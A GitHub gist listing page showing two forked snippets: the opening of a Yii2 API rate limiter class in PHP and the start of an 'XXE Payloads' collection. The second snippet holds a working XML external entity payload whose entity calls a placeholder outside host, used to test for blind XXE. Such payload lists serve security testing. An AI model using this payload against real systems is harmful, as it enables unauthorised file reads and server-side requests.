Skip to content

Instantly share code, notes, and snippets.

View vilkoz's full-sized avatar

Vitalii Rybalko vilkoz

  • WePlay Esports
  • Kyiv, Ukraine
View GitHub Profile
@vilkoz
vilkoz / ApiRateLimiter.php
Created August 10, 2022 15:42 — forked from demisang/ApiRateLimiter.php
Yii2 Api RateLimiter class with Redis storage implementation
<?php
namespace common\components\rateLimiter;
use Yii;
use yii\base\BaseObject;
use yii\filters\RateLimitInterface;
/**
* API rate limiter.
@vilkoz
vilkoz / XXE_payloads
Created June 30, 2017 13:04 — forked from waywardsun/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>